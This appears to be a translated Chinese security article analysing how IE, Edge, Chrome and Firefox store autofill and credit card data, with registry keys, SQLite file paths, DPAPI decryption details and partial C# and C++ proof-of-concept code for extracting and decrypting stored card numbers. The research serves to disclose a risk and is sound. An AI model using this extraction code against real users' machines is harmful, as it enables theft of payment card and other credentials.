在今天这个“芯片当道”的时代,信用卡数据被盗事件的发生概率也一直在上升,因为攻击者可以利用各种各样的方法来窃取信用卡数据,而一块小小的芯片并不能保证信用卡在网络环境中的安全。
中间人攻击、恶意软件以及Rootkit攻击出现的频率越来越高,攻击者甚至还可以利用目标用户设备中的安全漏洞远程/本地窃取数据。当攻击者成功访问到目标数据后,他们会将盗窃来的信用卡数据发送到自己的远程服务器中,然后利用这些信息进行匿名支付或在地下黑市中出售以谋取非法利益。
在这篇文章中,我们将跟大家攻击者如何利用目前四大热门浏览器(Internet Explorer (IE)、Microsoft Edge、Google Chrome以及Mozilla Firefox)来窃取信用卡数据,并讨论相应浏览器所面临的安全风险。
表单自动填充功能
现代浏览器可以保存用户的各种信息(包括信用卡数据在内),而这种功能也可以给用户的日常使用提供便捷,但与此同时这种功能也带来了很多安全问题。让我们先看一看浏览器的“自动填充”功能,并了解其工作机制。
浏览器可以存储HTML表单数据,并在需要使用这些信息的时候自动填充到正确的表单字段中,这样可以避免让用户重复输入各种数据,并加快在线表单的填写速度。
IE、Edge、Chrome和Firefox都会调用这种自动填充功能,但不幸的是,它们存储敏感信息的方法是存在安全问题的。在下图中,你可以看到自动填充功能的一个例子:
映射自动填充存储内容
根据不同版本的操作系统,浏览器会将自动填充数据存储在不同的位置。接下来,我们一起映射出这些位置所存储的数据。
IE和Edge会将自动填充数据存储在下列注册表键值中:
HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\FormData
HKEY_CURRENT_USER\Software\Classes\LocalSettings\Software\Microsoft\Windows\CurrentVersion\
AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms\FormData
HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\Storage1
HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\IntelliForms\Storage2
Chrome会将这些数据存储在一个SQLite数据库文件中:
%LocalAppData%\Google\Chrome\UserData\Default\Web Data
Firefox同样会将这些数据存储在一个SQLite数据库文件中:
%AppData%\Mozilla\Firefox\Profiles\{uniqString}.default\formhistory.sqlite
需要注意的是,IE、Edge、Chrome和Firefox在存储自动填充数据之前,都会利用Windows DPAPI(数据保护应用编程接口)来对自动填充数据进行加密,并在使用之前利用DPAPI进行数据解密。
问题就在于,会在用户环境下调用DPAPI,在加密数据时,完全不需要用户干预或输入额外密码。而此时任何脚本或代码都可以运行在同一用户环境下(不需要特殊权限或提权),因此恶意代码就可以模仿浏览器调用DPAPI来对数据进行加密解密了。
当然了,我们也有更安全的DPAPI使用方法,但在解密过程中需要用户干预,我们待会儿再讨论。
Firefox在存储自动填充数据时,完全不会对数据进行加密。本文针对的主要是信用卡数据,但浏览器中还会存储各种其他的敏感信息,例如用户名、密码和隐私链接等等,而这些数据都会存储在同一文件或注册表键值之中。
机密数据提取
为了从IE、Edge、Chrome和Firefox浏览器中提取信用卡数据,我们需要先了解下列两个东西:
1. SQLite数据库结构;
2. 如何使用DPAPI来解密信用卡数据;
SQLite是一款热门的嵌入式数据库,主要用于应用程序实现在本地/客户端的数据存储。很多操作系统、嵌入式系统或Web浏览器都会用它来存储本地数据,而且SQLite还可以支持多种编程语言。
DPAPI的CryptUnprotectData函数
重要参数解释:
pDataIn[in]
指向DATA_BLOB结构体的指针,该结构体存储了加密数据。
ppszDataDescr[out, optional]
指向加密数据描述字符串的指针
pOptionalEntropy[in, optional]
指向DATA_BLOB结构体的指针,该结构体存储了密钥或其他的熵。
pPromptStruct[in, optional]
指向CRYPTPROTECT_PROMPTSTRUCT结构体的指针,包含提示窗口所显示的时间、位置和内容,该参数应该设置为NULL.。
pDataOut[out]
指向DATA_BLOB结构体的指针,负责接收解密数据。
机密数据提取-Chrome
Chrome SQLite存储文件
下图显示的是Chrome的自动填充数据(Web Data SQLite文件,查看工具为“DB Browser for SQLite”),需要注意的是,Chrome会在单独的数据库表(”credit_cards”)中存储信用卡数据:
你可以看到,除了card_number域是以加密BlodData存储的之外,所有其他的数据都是以明文形式存储的。下图显示的是其他的自动填充表,这些数据都是没有进行加密的:
Chrome的DPAPI调用
Chrome允许用户使用设置菜单或访问chrome://settings/AutoFill来查看存储的信用卡数据:
大家剋看到,这里存储的信用卡号为“4916 4182 7187 7549”,当我们请求查看信用卡数据或浏览器需要使用自动填充功能填写表单域时,DPAPI函数将会被调用(解密数据)。
下图中,Chrome API调用了DPAPI函数- CryptUnProtectData(),参数pDataOut->pbdata指向的是返回的解密数据(信用卡号-“4916 4182 7187 7549”):
除了Chrome之外,IE和Edge都会使用相同的处理过程来完成表单域的自动填充。不同的是,IE和Edge会将自动填充数据以加密BlobData的形式随机存储在注册表键中。对于Firefox来说,你可以使用“DB Browser for SQLite”工具来查看未加密的自动填充数据。
数据提取代码
了解了解密过程之后,我们就要开始设计PoC了。
Chrome代码(C#)-
string SQLiteFilePath
=Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)+"\\Google\\Chrome\\User
Data\\Default\\Web Data";
string tableName = "credit_cards";
string ConnectionString = "data source=" + SQLiteFilePath +";New=True;UseUTF16Encoding=True";
string sql = string.Format("SELECT * FROM {0} ", tableName);
SQLiteConnection connect = new SQLiteConnection(ConnectionString)
SQLiteCommand command = new SQLiteCommand(sql, connect);
SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
DataTable DB = new DataTable();
adapter.Fill(DB);
IE& Edge代码(C++)-
DATA_BLOBDataIn;
DATA_BLOBDataVerify;
std::vector<LPCWSTR>RegKeys;
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\FormData");
RegKeys.push_back(L"Software\\Classes\\LocalSettings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData");
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage1");
RegKeys.push_back(L"Software\\Microsoft\\InternetExplorer\\IntelliForms\\Storage2");
for(int i = 0; i < 4; i++) // run as number of keys
{
//runover the RegKeys keys
RegOpenKeyEx(HKEY_CURRENT_USER,RegKeys[i], 0, KEY_QUERY_VALUE, &hKey)
//runover each key’s values and extracting the reg value (BlobData)
for(int j = 0; j < keyValues.size(); j++)
{
RegQueryValueEx(hKey,keyValues[j].c_str(), 0, 0, (LPBYTE)dwReturn, &dwBufSize);
DataIn.cbData= dwBufSize;
DataIn.pbData= dwReturn;
decryptContentDPAPI(&DataIn,&DataVerify);
完整的攻击演示视频
参考资料
1. https://msdn.microsoft.com/en-us/library/ms995355.aspx
3. https://www.kraftkennedy.com/roaming-internet-explorer-chrome-user-saved-passwords-ue-v/
4. https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
5. https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx
* 参考来源:cyberark,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM